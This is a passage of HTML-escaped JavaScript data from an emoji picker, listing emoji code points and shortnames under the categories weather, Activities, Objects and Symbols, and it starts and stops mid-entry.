F320&quot;,shortnames:[&quot;stars&quot;]},{unified:&quot;1F30C&quot;,shortnames:[&quot;milky_way&quot;]},{unified:&quot;2601-FE0F&quot;,shortnames:[&quot;cloud&quot;]},{unified:&quot;26C5&quot;,shortnames:[&quot;partly_sunny&quot;]},{unified:&quot;26C8-FE0F&quot;,shortnames:[&quot;thunder_cloud_and_rain&quot;]},{unified:&quot;1F324-FE0F&quot;,shortnames:[&quot;mostly_sunny&quot;]},{unified:&quot;1F325-FE0F&quot;,shortnames:[&quot;barely_sunny&quot;]},{unified:&quot;1F326-FE0F&quot;,shortnames:[&quot;partly_sunny_rain&quot;]},{unified:&quot;1F327-FE0F&quot;,shortnames:[&quot;rain_cloud&quot;]},{unified:&quot;1F328-FE0F&quot;,shortnames:[&quot;snow_cloud&quot;]},{unified:&quot;1F329-FE0F&quot;,shortnames:[&quot;lightning&quot;]},{unified:&quot;1F32A-FE0F&quot;,shortnames:[&quot;tornado&quot;]},{unified:&quot;1F32B-FE0F&quot;,shortnames:[&quot;fog&quot;]},{unified:&quot;1F32C-FE0F&quot;,shortnames:[&quot;wind_blowing_face&quot;]},{unified:&quot;1F300&quot;,shortnames:[&quot;cyclone&quot;]},{unified:&quot;1F308&quot;,shortnames:[&quot;rainbow&quot;]},{unified:&quot;1F302&quot;,shortnames:[&quot;closed_umbrella&quot;]},{unified:&quot;2602-FE0F&quot;,shortnames:[&quot;umbrella&quot;]},{unified:&quot;2614&quot;,shortnames:[&quot;umbrella_with_rain_drops&quot;]},{unified:&quot;26F1-FE0F&quot;,shortnames:[&quot;umbrella_on_ground&quot;]},{unified:&quot;26A1&quot;,shortnames:[&quot;zap&quot;]},{unified:&quot;2744-FE0F&quot;,shortnames:[&quot;snowflake&quot;]},{unified:&quot;2603-FE0F&quot;,shortnames:[&quot;snowman&quot;]},{unified:&quot;26C4&quot;,shortnames:[&quot;snowman_without_snow&quot;]},{unified:&quot;2604-FE0F&quot;,shortnames:[&quot;comet&quot;]},{unified:&quot;1F525&quot;,shortnames:[&quot;fire&quot;]},{unified:&quot;1F4A7&quot;,shortnames:[&quot;droplet&quot;]},{unified:&quot;1F30A&quot;,shortnames:[&quot;ocean&quot;]}]},{name:&quot;Activities&quot;,emojis:[{unified:&quot;1F383&quot;,shortnames:[&quot;jack_o_lantern&quot;]},{unified:&quot;1F384&quot;,shortnames:[&quot;christmas_tree&quot;]},{unified:&quot;1F386&quot;,shortnames:[&quot;fireworks&quot;]},{unified:&quot;1F387&quot;,shortnames:[&quot;sparkler&quot;]},{unified:&quot;1F9E8&quot;,shortnames:[&quot;firecracker&quot;]},{unified:&quot;2728&quot;,shortnames:[&quot;sparkles&quot;]},{unified:&quot;1F388&quot;,shortnames:[&quot;balloon&quot;]},{unified:&quot;1F389&quot;,shortnames:[&quot;tada&quot;]},{unified:&quot;1F38A&quot;,shortnames:[&quot;confetti_ball&quot;]},{unified:&quot;1F38B&quot;,shortnames:[&quot;tanabata_tree&quot;]},{unified:&quot;1F38D&quot;,shortnames:[&quot;bamboo&quot;]},{unified:&quot;1F38E&quot;,shortnames:[&quot;dolls&quot;]},{unified:&quot;1F38F&quot;,shortnames:[&quot;flags&quot;]},{unified:&quot;1F390&quot;,shortnames:[&quot;wind_chime&quot;]},{unified:&quot;1F391&quot;,shortnames:[&quot;rice_scene&quot;]},{unified:&quot;1F9E7&quot;,shortnames:[&quot;red_envelope&quot;]},{unified:&quot;1F380&quot;,shortnames:[&quot;ribbon&quot;]},{unified:&quot;1F381&quot;,shortnames:[&quot;gift&quot;]},{unified:&quot;1F397-FE0F&quot;,shortnames:[&quot;reminder_ribbon&quot;]},{unified:&quot;1F39F-FE0F&quot;,shortnames:[&quot;admission_tickets&quot;]},{unified:&quot;1F3AB&quot;,shortnames:[&quot;ticket&quot;]},{unified:&quot;1F396-FE0F&quot;,shortnames:[&quot;medal&quot;]},{unified:&quot;1F3C6&quot;,shortnames:[&quot;trophy&quot;]},{unified:&quot;1F3C5&quot;,shortnames:[&quot;sports_medal&quot;]},{unified:&quot;1F947&quot;,shortnames:[&quot;first_place_medal&quot;]},{unified:&quot;1F948&quot;,shortnames:[&quot;second_place_medal&quot;]},{unified:&quot;1F949&quot;,shortnames:[&quot;third_place_medal&quot;]},{unified:&quot;26BD&quot;,shortnames:[&quot;soccer&quot;]},{unified:&quot;26BE&quot;,shortnames:[&quot;baseball&quot;]},{unified:&quot;1F94E&quot;,shortnames:[&quot;softball&quot;]},{unified:&quot;1F3C0&quot;,shortnames:[&quot;basketball&quot;]},{unified:&quot;1F3D0&quot;,shortnames:[&quot;volleyball&quot;]},{unified:&quot;1F3C8&quot;,shortnames:[&quot;football&quot;]},{unified:&quot;1F3C9&quot;,shortnames:[&quot;rugby_football&quot;]},{unified:&quot;1F3BE&quot;,shortnames:[&quot;tennis&quot;]},{unified:&quot;1F94F&quot;,shortnames:[&quot;flying_disc&quot;]},{unified:&quot;1F3B3&quot;,shortnames:[&quot;bowling&quot;]},{unified:&quot;1F3CF&quot;,shortnames:[&quot;cricket_bat_and_ball&quot;]},{unified:&quot;1F3D1&quot;,shortnames:[&quot;field_hockey_stick_and_ball&quot;]},{unified:&quot;1F3D2&quot;,shortnames:[&quot;ice_hockey_stick_and_puck&quot;]},{unified:&quot;1F94D&quot;,shortnames:[&quot;lacrosse&quot;]},{unified:&quot;1F3D3&quot;,shortnames:[&quot;table_tennis_paddle_and_ball&quot;]},{unified:&quot;1F3F8&quot;,shortnames:[&quot;badminton_racquet_and_shuttlecock&quot;]},{unified:&quot;1F94A&quot;,shortnames:[&quot;boxing_glove&quot;]},{unified:&quot;1F94B&quot;,shortnames:[&quot;martial_arts_uniform&quot;]},{unified:&quot;1F945&quot;,shortnames:[&quot;goal_net&quot;]},{unified:&quot;26F3&quot;,shortnames:[&quot;golf&quot;]},{unified:&quot;26F8-FE0F&quot;,shortnames:[&quot;ice_skate&quot;]},{unified:&quot;1F3A3&quot;,shortnames:[&quot;fishing_pole_and_fish&quot;]},{unified:&quot;1F93F&quot;,shortnames:[&quot;diving_mask&quot;]},{unified:&quot;1F3BD&quot;,shortnames:[&quot;running_shirt_with_sash&quot;]},{unified:&quot;1F3BF&quot;,shortnames:[&quot;ski&quot;]},{unified:&quot;1F6F7&quot;,shortnames:[&quot;sled&quot;]},{unified:&quot;1F94C&quot;,shortnames:[&quot;curling_stone&quot;]},{unified:&quot;1F3AF&quot;,shortnames:[&quot;dart&quot;]},{unified:&quot;1FA80&quot;,shortnames:[&quot;yo-yo&quot;]},{unified:&quot;1FA81&quot;,shortnames:[&quot;kite&quot;]},{unified:&quot;1F3B1&quot;,shortnames:[&quot;8ball&quot;]},{unified:&quot;1F52E&quot;,shortnames:[&quot;crystal_ball&quot;]},{unified:&quot;1FA84&quot;,shortnames:[&quot;magic_wand&quot;]},{unified:&quot;1F9FF&quot;,shortnames:[&quot;nazar_amulet&quot;]},{unified:&quot;1F3AE&quot;,shortnames:[&quot;video_game&quot;]},{unified:&quot;1F579-FE0F&quot;,shortnames:[&quot;joystick&quot;]},{unified:&quot;1F3B0&quot;,shortnames:[&quot;slot_machine&quot;]},{unified:&quot;1F3B2&quot;,shortnames:[&quot;game_die&quot;]},{unified:&quot;1F9E9&quot;,shortnames:[&quot;jigsaw&quot;]},{unified:&quot;1F9F8&quot;,shortnames:[&quot;teddy_bear&quot;]},{unified:&quot;1FA85&quot;,shortnames:[&quot;pinata&quot;]},{unified:&quot;1FA86&quot;,shortnames:[&quot;nesting_dolls&quot;]},{unified:&quot;2660-FE0F&quot;,shortnames:[&quot;spades&quot;]},{unified:&quot;2665-FE0F&quot;,shortnames:[&quot;hearts&quot;]},{unified:&quot;2666-FE0F&quot;,shortnames:[&quot;diamonds&quot;]},{unified:&quot;2663-FE0F&quot;,shortnames:[&quot;clubs&quot;]},{unified:&quot;265F-FE0F&quot;,shortnames:[&quot;chess_pawn&quot;]},{unified:&quot;1F0CF&quot;,shortnames:[&quot;black_joker&quot;]},{unified:&quot;1F004&quot;,shortnames:[&quot;mahjong&quot;]},{unified:&quot;1F3B4&quot;,shortnames:[&quot;flower_playing_cards&quot;]},{unified:&quot;1F3AD&quot;,shortnames:[&quot;performing_arts&quot;]},{unified:&quot;1F5BC-FE0F&quot;,shortnames:[&quot;frame_with_picture&quot;]},{unified:&quot;1F3A8&quot;,shortnames:[&quot;art&quot;]},{unified:&quot;1F9F5&quot;,shortnames:[&quot;thread&quot;]},{unified:&quot;1FAA1&quot;,shortnames:[&quot;sewing_needle&quot;]},{unified:&quot;1F9F6&quot;,shortnames:[&quot;yarn&quot;]},{unified:&quot;1FAA2&quot;,shortnames:[&quot;knot&quot;]}]},{name:&quot;Objects&quot;,emojis:[{unified:&quot;1F453&quot;,shortnames:[&quot;eyeglasses&quot;]},{unified:&quot;1F576-FE0F&quot;,shortnames:[&quot;dark_sunglasses&quot;]},{unified:&quot;1F97D&quot;,shortnames:[&quot;goggles&quot;]},{unified:&quot;1F97C&quot;,shortnames:[&quot;lab_coat&quot;]},{unified:&quot;1F9BA&quot;,shortnames:[&quot;safety_vest&quot;]},{unified:&quot;1F454&quot;,shortnames:[&quot;necktie&quot;]},{unified:&quot;1F455&quot;,shortnames:[&quot;shirt&quot;]},{unified:&quot;1F456&quot;,shortnames:[&quot;jeans&quot;]},{unified:&quot;1F9E3&quot;,shortnames:[&quot;scarf&quot;]},{unified:&quot;1F9E4&quot;,shortnames:[&quot;gloves&quot;]},{unified:&quot;1F9E5&quot;,shortnames:[&quot;coat&quot;]},{unified:&quot;1F9E6&quot;,shortnames:[&quot;socks&quot;]},{unified:&quot;1F457&quot;,shortnames:[&quot;dress&quot;]},{unified:&quot;1F458&quot;,shortnames:[&quot;kimono&quot;]},{unified:&quot;1F97B&quot;,shortnames:[&quot;sari&quot;]},{unified:&quot;1FA71&quot;,shortnames:[&quot;one-piece_swimsuit&quot;]},{unified:&quot;1FA72&quot;,shortnames:[&quot;briefs&quot;]},{unified:&quot;1FA73&quot;,shortnames:[&quot;shorts&quot;]},{unified:&quot;1F459&quot;,shortnames:[&quot;bikini&quot;]},{unified:&quot;1F45A&quot;,shortnames:[&quot;womans_clothes&quot;]},{unified:&quot;1F45B&quot;,shortnames:[&quot;purse&quot;]},{unified:&quot;1F45C&quot;,shortnames:[&quot;handbag&quot;]},{unified:&quot;1F45D&quot;,shortnames:[&quot;pouch&quot;]},{unified:&quot;1F6CD-FE0F&quot;,shortnames:[&quot;shopping_bags&quot;]},{unified:&quot;1F392&quot;,shortnames:[&quot;school_satchel&quot;]},{unified:&quot;1FA74&quot;,shortnames:[&quot;thong_sandal&quot;]},{unified:&quot;1F45E&quot;,shortnames:[&quot;mans_shoe&quot;]},{unified:&quot;1F45F&quot;,shortnames:[&quot;athletic_shoe&quot;]},{unified:&quot;1F97E&quot;,shortnames:[&quot;hiking_boot&quot;]},{unified:&quot;1F97F&quot;,shortnames:[&quot;womans_flat_shoe&quot;]},{unified:&quot;1F460&quot;,shortnames:[&quot;high_heel&quot;]},{unified:&quot;1F461&quot;,shortnames:[&quot;sandal&quot;]},{unified:&quot;1FA70&quot;,shortnames:[&quot;ballet_shoes&quot;]},{unified:&quot;1F462&quot;,shortnames:[&quot;boot&quot;]},{unified:&quot;1F451&quot;,shortnames:[&quot;crown&quot;]},{unified:&quot;1F452&quot;,shortnames:[&quot;womans_hat&quot;]},{unified:&quot;1F3A9&quot;,shortnames:[&quot;tophat&quot;]},{unified:&quot;1F393&quot;,shortnames:[&quot;mortar_board&quot;]},{unified:&quot;1F9E2&quot;,shortnames:[&quot;billed_cap&quot;]},{unified:&quot;1FA96&quot;,shortnames:[&quot;military_helmet&quot;]},{unified:&quot;26D1-FE0F&quot;,shortnames:[&quot;helmet_with_white_cross&quot;]},{unified:&quot;1F4FF&quot;,shortnames:[&quot;prayer_beads&quot;]},{unified:&quot;1F484&quot;,shortnames:[&quot;lipstick&quot;]},{unified:&quot;1F48D&quot;,shortnames:[&quot;ring&quot;]},{unified:&quot;1F48E&quot;,shortnames:[&quot;gem&quot;]},{unified:&quot;1F507&quot;,shortnames:[&quot;mute&quot;]},{unified:&quot;1F508&quot;,shortnames:[&quot;speaker&quot;]},{unified:&quot;1F509&quot;,shortnames:[&quot;sound&quot;]},{unified:&quot;1F50A&quot;,shortnames:[&quot;loud_sound&quot;]},{unified:&quot;1F4E2&quot;,shortnames:[&quot;loudspeaker&quot;]},{unified:&quot;1F4E3&quot;,shortnames:[&quot;mega&quot;]},{unified:&quot;1F4EF&quot;,shortnames:[&quot;postal_horn&quot;]},{unified:&quot;1F514&quot;,shortnames:[&quot;bell&quot;]},{unified:&quot;1F515&quot;,shortnames:[&quot;no_bell&quot;]},{unified:&quot;1F3BC&quot;,shortnames:[&quot;musical_score&quot;]},{unified:&quot;1F3B5&quot;,shortnames:[&quot;musical_note&quot;]},{unified:&quot;1F3B6&quot;,shortnames:[&quot;notes&quot;]},{unified:&quot;1F399-FE0F&quot;,shortnames:[&quot;studio_microphone&quot;]},{unified:&quot;1F39A-FE0F&quot;,shortnames:[&quot;level_slider&quot;]},{unified:&quot;1F39B-FE0F&quot;,shortnames:[&quot;control_knobs&quot;]},{unified:&quot;1F3A4&quot;,shortnames:[&quot;microphone&quot;]},{unified:&quot;1F3A7&quot;,shortnames:[&quot;headphones&quot;]},{unified:&quot;1F4FB&quot;,shortnames:[&quot;radio&quot;]},{unified:&quot;1F3B7&quot;,shortnames:[&quot;saxophone&quot;]},{unified:&quot;1FA97&quot;,shortnames:[&quot;accordion&quot;]},{unified:&quot;1F3B8&quot;,shortnames:[&quot;guitar&quot;]},{unified:&quot;1F3B9&quot;,shortnames:[&quot;musical_keyboard&quot;]},{unified:&quot;1F3BA&quot;,shortnames:[&quot;trumpet&quot;]},{unified:&quot;1F3BB&quot;,shortnames:[&quot;violin&quot;]},{unified:&quot;1FA95&quot;,shortnames:[&quot;banjo&quot;]},{unified:&quot;1F941&quot;,shortnames:[&quot;drum_with_drumsticks&quot;]},{unified:&quot;1FA98&quot;,shortnames:[&quot;long_drum&quot;]},{unified:&quot;1F4F1&quot;,shortnames:[&quot;iphone&quot;]},{unified:&quot;1F4F2&quot;,shortnames:[&quot;calling&quot;]},{unified:&quot;260E-FE0F&quot;,shortnames:[&quot;phone&quot;]},{unified:&quot;1F4DE&quot;,shortnames:[&quot;telephone_receiver&quot;]},{unified:&quot;1F4DF&quot;,shortnames:[&quot;pager&quot;]},{unified:&quot;1F4E0&quot;,shortnames:[&quot;fax&quot;]},{unified:&quot;1F50B&quot;,shortnames:[&quot;battery&quot;]},{unified:&quot;1F50C&quot;,shortnames:[&quot;electric_plug&quot;]},{unified:&quot;1F4BB&quot;,shortnames:[&quot;computer&quot;]},{unified:&quot;1F5A5-FE0F&quot;,shortnames:[&quot;desktop_computer&quot;]},{unified:&quot;1F5A8-FE0F&quot;,shortnames:[&quot;printer&quot;]},{unified:&quot;2328-FE0F&quot;,shortnames:[&quot;keyboard&quot;]},{unified:&quot;1F5B1-FE0F&quot;,shortnames:[&quot;three_button_mouse&quot;]},{unified:&quot;1F5B2-FE0F&quot;,shortnames:[&quot;trackball&quot;]},{unified:&quot;1F4BD&quot;,shortnames:[&quot;minidisc&quot;]},{unified:&quot;1F4BE&quot;,shortnames:[&quot;floppy_disk&quot;]},{unified:&quot;1F4BF&quot;,shortnames:[&quot;cd&quot;]},{unified:&quot;1F4C0&quot;,shortnames:[&quot;dvd&quot;]},{unified:&quot;1F9EE&quot;,shortnames:[&quot;abacus&quot;]},{unified:&quot;1F3A5&quot;,shortnames:[&quot;movie_camera&quot;]},{unified:&quot;1F39E-FE0F&quot;,shortnames:[&quot;film_frames&quot;]},{unified:&quot;1F4FD-FE0F&quot;,shortnames:[&quot;film_projector&quot;]},{unified:&quot;1F3AC&quot;,shortnames:[&quot;clapper&quot;]},{unified:&quot;1F4FA&quot;,shortnames:[&quot;tv&quot;]},{unified:&quot;1F4F7&quot;,shortnames:[&quot;camera&quot;]},{unified:&quot;1F4F8&quot;,shortnames:[&quot;camera_with_flash&quot;]},{unified:&quot;1F4F9&quot;,shortnames:[&quot;video_camera&quot;]},{unified:&quot;1F4FC&quot;,shortnames:[&quot;vhs&quot;]},{unified:&quot;1F50D&quot;,shortnames:[&quot;mag&quot;]},{unified:&quot;1F50E&quot;,shortnames:[&quot;mag_right&quot;]},{unified:&quot;1F56F-FE0F&quot;,shortnames:[&quot;candle&quot;]},{unified:&quot;1F4A1&quot;,shortnames:[&quot;bulb&quot;]},{unified:&quot;1F526&quot;,shortnames:[&quot;flashlight&quot;]},{unified:&quot;1F3EE&quot;,shortnames:[&quot;izakaya_lantern&quot;]},{unified:&quot;1FA94&quot;,shortnames:[&quot;diya_lamp&quot;]},{unified:&quot;1F4D4&quot;,shortnames:[&quot;notebook_with_decorative_cover&quot;]},{unified:&quot;1F4D5&quot;,shortnames:[&quot;closed_book&quot;]},{unified:&quot;1F4D6&quot;,shortnames:[&quot;book&quot;]},{unified:&quot;1F4D7&quot;,shortnames:[&quot;green_book&quot;]},{unified:&quot;1F4D8&quot;,shortnames:[&quot;blue_book&quot;]},{unified:&quot;1F4D9&quot;,shortnames:[&quot;orange_book&quot;]},{unified:&quot;1F4DA&quot;,shortnames:[&quot;books&quot;]},{unified:&quot;1F4D3&quot;,shortnames:[&quot;notebook&quot;]},{unified:&quot;1F4D2&quot;,shortnames:[&quot;ledger&quot;]},{unified:&quot;1F4C3&quot;,shortnames:[&quot;page_with_curl&quot;]},{unified:&quot;1F4DC&quot;,shortnames:[&quot;scroll&quot;]},{unified:&quot;1F4C4&quot;,shortnames:[&quot;page_facing_up&quot;]},{unified:&quot;1F4F0&quot;,shortnames:[&quot;newspaper&quot;]},{unified:&quot;1F5DE-FE0F&quot;,shortnames:[&quot;rolled_up_newspaper&quot;]},{unified:&quot;1F4D1&quot;,shortnames:[&quot;bookmark_tabs&quot;]},{unified:&quot;1F516&quot;,shortnames:[&quot;bookmark&quot;]},{unified:&quot;1F3F7-FE0F&quot;,shortnames:[&quot;label&quot;]},{unified:&quot;1F4B0&quot;,shortnames:[&quot;moneybag&quot;]},{unified:&quot;1FA99&quot;,shortnames:[&quot;coin&quot;]},{unified:&quot;1F4B4&quot;,shortnames:[&quot;yen&quot;]},{unified:&quot;1F4B5&quot;,shortnames:[&quot;dollar&quot;]},{unified:&quot;1F4B6&quot;,shortnames:[&quot;euro&quot;]},{unified:&quot;1F4B7&quot;,shortnames:[&quot;pound&quot;]},{unified:&quot;1F4B8&quot;,shortnames:[&quot;money_with_wings&quot;]},{unified:&quot;1F4B3&quot;,shortnames:[&quot;credit_card&quot;]},{unified:&quot;1F9FE&quot;,shortnames:[&quot;receipt&quot;]},{unified:&quot;1F4B9&quot;,shortnames:[&quot;chart&quot;]},{unified:&quot;2709-FE0F&quot;,shortnames:[&quot;email&quot;]},{unified:&quot;1F4E7&quot;,shortnames:[&quot;e-mail&quot;]},{unified:&quot;1F4E8&quot;,shortnames:[&quot;incoming_envelope&quot;]},{unified:&quot;1F4E9&quot;,shortnames:[&quot;envelope_with_arrow&quot;]},{unified:&quot;1F4E4&quot;,shortnames:[&quot;outbox_tray&quot;]},{unified:&quot;1F4E5&quot;,shortnames:[&quot;inbox_tray&quot;]},{unified:&quot;1F4E6&quot;,shortnames:[&quot;package&quot;]},{unified:&quot;1F4EB&quot;,shortnames:[&quot;mailbox&quot;]},{unified:&quot;1F4EA&quot;,shortnames:[&quot;mailbox_closed&quot;]},{unified:&quot;1F4EC&quot;,shortnames:[&quot;mailbox_with_mail&quot;]},{unified:&quot;1F4ED&quot;,shortnames:[&quot;mailbox_with_no_mail&quot;]},{unified:&quot;1F4EE&quot;,shortnames:[&quot;postbox&quot;]},{unified:&quot;1F5F3-FE0F&quot;,shortnames:[&quot;ballot_box_with_ballot&quot;]},{unified:&quot;270F-FE0F&quot;,shortnames:[&quot;pencil2&quot;]},{unified:&quot;2712-FE0F&quot;,shortnames:[&quot;black_nib&quot;]},{unified:&quot;1F58B-FE0F&quot;,shortnames:[&quot;lower_left_fountain_pen&quot;]},{unified:&quot;1F58A-FE0F&quot;,shortnames:[&quot;lower_left_ballpoint_pen&quot;]},{unified:&quot;1F58C-FE0F&quot;,shortnames:[&quot;lower_left_paintbrush&quot;]},{unified:&quot;1F58D-FE0F&quot;,shortnames:[&quot;lower_left_crayon&quot;]},{unified:&quot;1F4DD&quot;,shortnames:[&quot;memo&quot;]},{unified:&quot;1F4BC&quot;,shortnames:[&quot;briefcase&quot;]},{unified:&quot;1F4C1&quot;,shortnames:[&quot;file_folder&quot;]},{unified:&quot;1F4C2&quot;,shortnames:[&quot;open_file_folder&quot;]},{unified:&quot;1F5C2-FE0F&quot;,shortnames:[&quot;card_index_dividers&quot;]},{unified:&quot;1F4C5&quot;,shortnames:[&quot;date&quot;]},{unified:&quot;1F4C6&quot;,shortnames:[&quot;calendar&quot;]},{unified:&quot;1F5D2-FE0F&quot;,shortnames:[&quot;spiral_note_pad&quot;]},{unified:&quot;1F5D3-FE0F&quot;,shortnames:[&quot;spiral_calendar_pad&quot;]},{unified:&quot;1F4C7&quot;,shortnames:[&quot;card_index&quot;]},{unified:&quot;1F4C8&quot;,shortnames:[&quot;chart_with_upwards_trend&quot;]},{unified:&quot;1F4C9&quot;,shortnames:[&quot;chart_with_downwards_trend&quot;]},{unified:&quot;1F4CA&quot;,shortnames:[&quot;bar_chart&quot;]},{unified:&quot;1F4CB&quot;,shortnames:[&quot;clipboard&quot;]},{unified:&quot;1F4CC&quot;,shortnames:[&quot;pushpin&quot;]},{unified:&quot;1F4CD&quot;,shortnames:[&quot;round_pushpin&quot;]},{unified:&quot;1F4CE&quot;,shortnames:[&quot;paperclip&quot;]},{unified:&quot;1F587-FE0F&quot;,shortnames:[&quot;linked_paperclips&quot;]},{unified:&quot;1F4CF&quot;,shortnames:[&quot;straight_ruler&quot;]},{unified:&quot;1F4D0&quot;,shortnames:[&quot;triangular_ruler&quot;]},{unified:&quot;2702-FE0F&quot;,shortnames:[&quot;scissors&quot;]},{unified:&quot;1F5C3-FE0F&quot;,shortnames:[&quot;card_file_box&quot;]},{unified:&quot;1F5C4-FE0F&quot;,shortnames:[&quot;file_cabinet&quot;]},{unified:&quot;1F5D1-FE0F&quot;,shortnames:[&quot;wastebasket&quot;]},{unified:&quot;1F512&quot;,shortnames:[&quot;lock&quot;]},{unified:&quot;1F513&quot;,shortnames:[&quot;unlock&quot;]},{unified:&quot;1F50F&quot;,shortnames:[&quot;lock_with_ink_pen&quot;]},{unified:&quot;1F510&quot;,shortnames:[&quot;closed_lock_with_key&quot;]},{unified:&quot;1F511&quot;,shortnames:[&quot;key&quot;]},{unified:&quot;1F5DD-FE0F&quot;,shortnames:[&quot;old_key&quot;]},{unified:&quot;1F528&quot;,shortnames:[&quot;hammer&quot;]},{unified:&quot;1FA93&quot;,shortnames:[&quot;axe&quot;]},{unified:&quot;26CF-FE0F&quot;,shortnames:[&quot;pick&quot;]},{unified:&quot;2692-FE0F&quot;,shortnames:[&quot;hammer_and_pick&quot;]},{unified:&quot;1F6E0-FE0F&quot;,shortnames:[&quot;hammer_and_wrench&quot;]},{unified:&quot;1F5E1-FE0F&quot;,shortnames:[&quot;dagger_knife&quot;]},{unified:&quot;2694-FE0F&quot;,shortnames:[&quot;crossed_swords&quot;]},{unified:&quot;1F52B&quot;,shortnames:[&quot;gun&quot;]},{unified:&quot;1FA83&quot;,shortnames:[&quot;boomerang&quot;]},{unified:&quot;1F3F9&quot;,shortnames:[&quot;bow_and_arrow&quot;]},{unified:&quot;1F6E1-FE0F&quot;,shortnames:[&quot;shield&quot;]},{unified:&quot;1FA9A&quot;,shortnames:[&quot;carpentry_saw&quot;]},{unified:&quot;1F527&quot;,shortnames:[&quot;wrench&quot;]},{unified:&quot;1FA9B&quot;,shortnames:[&quot;screwdriver&quot;]},{unified:&quot;1F529&quot;,shortnames:[&quot;nut_and_bolt&quot;]},{unified:&quot;2699-FE0F&quot;,shortnames:[&quot;gear&quot;]},{unified:&quot;1F5DC-FE0F&quot;,shortnames:[&quot;compression&quot;]},{unified:&quot;2696-FE0F&quot;,shortnames:[&quot;scales&quot;]},{unified:&quot;1F9AF&quot;,shortnames:[&quot;probing_cane&quot;]},{unified:&quot;1F517&quot;,shortnames:[&quot;link&quot;]},{unified:&quot;26D3-FE0F&quot;,shortnames:[&quot;chains&quot;]},{unified:&quot;1FA9D&quot;,shortnames:[&quot;hook&quot;]},{unified:&quot;1F9F0&quot;,shortnames:[&quot;toolbox&quot;]},{unified:&quot;1F9F2&quot;,shortnames:[&quot;magnet&quot;]},{unified:&quot;1FA9C&quot;,shortnames:[&quot;ladder&quot;]},{unified:&quot;2697-FE0F&quot;,shortnames:[&quot;alembic&quot;]},{unified:&quot;1F9EA&quot;,shortnames:[&quot;test_tube&quot;]},{unified:&quot;1F9EB&quot;,shortnames:[&quot;petri_dish&quot;]},{unified:&quot;1F9EC&quot;,shortnames:[&quot;dna&quot;]},{unified:&quot;1F52C&quot;,shortnames:[&quot;microscope&quot;]},{unified:&quot;1F52D&quot;,shortnames:[&quot;telescope&quot;]},{unified:&quot;1F4E1&quot;,shortnames:[&quot;satellite_antenna&quot;]},{unified:&quot;1F489&quot;,shortnames:[&quot;syringe&quot;]},{unified:&quot;1FA78&quot;,shortnames:[&quot;drop_of_blood&quot;]},{unified:&quot;1F48A&quot;,shortnames:[&quot;pill&quot;]},{unified:&quot;1FA79&quot;,shortnames:[&quot;adhesive_bandage&quot;]},{unified:&quot;1FA7A&quot;,shortnames:[&quot;stethoscope&quot;]},{unified:&quot;1F6AA&quot;,shortnames:[&quot;door&quot;]},{unified:&quot;1F6D7&quot;,shortnames:[&quot;elevator&quot;]},{unified:&quot;1FA9E&quot;,shortnames:[&quot;mirror&quot;]},{unified:&quot;1FA9F&quot;,shortnames:[&quot;window&quot;]},{unified:&quot;1F6CF-FE0F&quot;,shortnames:[&quot;bed&quot;]},{unified:&quot;1F6CB-FE0F&quot;,shortnames:[&quot;couch_and_lamp&quot;]},{unified:&quot;1FA91&quot;,shortnames:[&quot;chair&quot;]},{unified:&quot;1F6BD&quot;,shortnames:[&quot;toilet&quot;]},{unified:&quot;1FAA0&quot;,shortnames:[&quot;plunger&quot;]},{unified:&quot;1F6BF&quot;,shortnames:[&quot;shower&quot;]},{unified:&quot;1F6C1&quot;,shortnames:[&quot;bathtub&quot;]},{unified:&quot;1FAA4&quot;,shortnames:[&quot;mouse_trap&quot;]},{unified:&quot;1FA92&quot;,shortnames:[&quot;razor&quot;]},{unified:&quot;1F9F4&quot;,shortnames:[&quot;lotion_bottle&quot;]},{unified:&quot;1F9F7&quot;,shortnames:[&quot;safety_pin&quot;]},{unified:&quot;1F9F9&quot;,shortnames:[&quot;broom&quot;]},{unified:&quot;1F9FA&quot;,shortnames:[&quot;basket&quot;]},{unified:&quot;1F9FB&quot;,shortnames:[&quot;roll_of_paper&quot;]},{unified:&quot;1FAA3&quot;,shortnames:[&quot;bucket&quot;]},{unified:&quot;1F9FC&quot;,shortnames:[&quot;soap&quot;]},{unified:&quot;1FAA5&quot;,shortnames:[&quot;toothbrush&quot;]},{unified:&quot;1F9FD&quot;,shortnames:[&quot;sponge&quot;]},{unified:&quot;1F9EF&quot;,shortnames:[&quot;fire_extinguisher&quot;]},{unified:&quot;1F6D2&quot;,shortnames:[&quot;shopping_trolley&quot;]},{unified:&quot;1F6AC&quot;,shortnames:[&quot;smoking&quot;]},{unified:&quot;26B0-FE0F&quot;,shortnames:[&quot;coffin&quot;]},{unified:&quot;1FAA6&quot;,shortnames:[&quot;headstone&quot;]},{unified:&quot;26B1-FE0F&quot;,shortnames:[&quot;funeral_urn&quot;]},{unified:&quot;1F5FF&quot;,shortnames:[&quot;moyai&quot;]},{unified:&quot;1FAA7&quot;,shortnames:[&quot;placard&quot;]}]},{name:&quot;Symbols&quot;,emojis:[{unified:&quot;1F3E7&quot;,shortnames:[&quot;atm&quot;]},{unified:&quot;1F6AE&quot;,shortnames:[&quot;put_litter_in_its_place&quot;]},{unified:&quot;1F6B0&quot;,shortnames:[&quot;potable_water&quot;]},{unified:&quot;267F&quot;,shortnames:[&quot;wheelchair&quot;]},{unified:&quot;1F6B9&quot;,shortnames:[&quot;mens&quot;]},{unified:&quot;1F6BA&quot;,shortnames:[&quot;womens&quot;]},{unified:&quot;1F6BB&quot;,shortnames:[&quot;restroom&quot;]},{unified:&quot;1F6BC&quot;,shortnames:[&quot;baby_symbol&quot;]},{unified:&quot;1F6BE&quot;,shortnames:[&quot;wc&quot;]},{unified:&quot;1F6C2&quot;,shortnames:[&quot;passport_control&quot;]},{unified:&quot;1F6C3&quot;,shortnames:[&quot;customs&quot;]},{unified:&quot;1F6C4&quot;,shortnames:[&quot;baggage_claim&quot;]},{unified:&quot;1F6C5&quot;,shortnames:[&quot;left_luggage&quot;]},{unified:&quot;26A0-FE0F&quot;,shortnames:[&quot;warning&quot;]},{unified:&quot;1F6B8&quot;,shortnames:[&quot;children_crossing&quot;]},{unified:&quot;26D4&quot;,shortnames:[&quot;no_entry&quot;]},{unified:&quot;1F6AB&quot;,shortnames:[&quot;no_entry_sign&quot;]},{unified:&quot;1F6B3&quot;,shortnames:[&quot;no_bicycles&quot;]},{unified:&quot;1F6AD&quot;,shortnames:[&quot;no_smoking&quot;]},{unified:&quot;1F6AF&quot;,shortnames:[&quot;do_not_litter&quot;]},{unified:&quot;1F6B1&quot;,shortnames:[&quot;non-potable_water&quot;]},{unified:&quot;1F6B7&quot;,shortnames:[&quot;no_pedestrians&quot;]},{unified:&quot;1F4F5&quot;,shortnames:[&quot;no_mobile_phones&quot;]},{unified:&quot;1F51E&q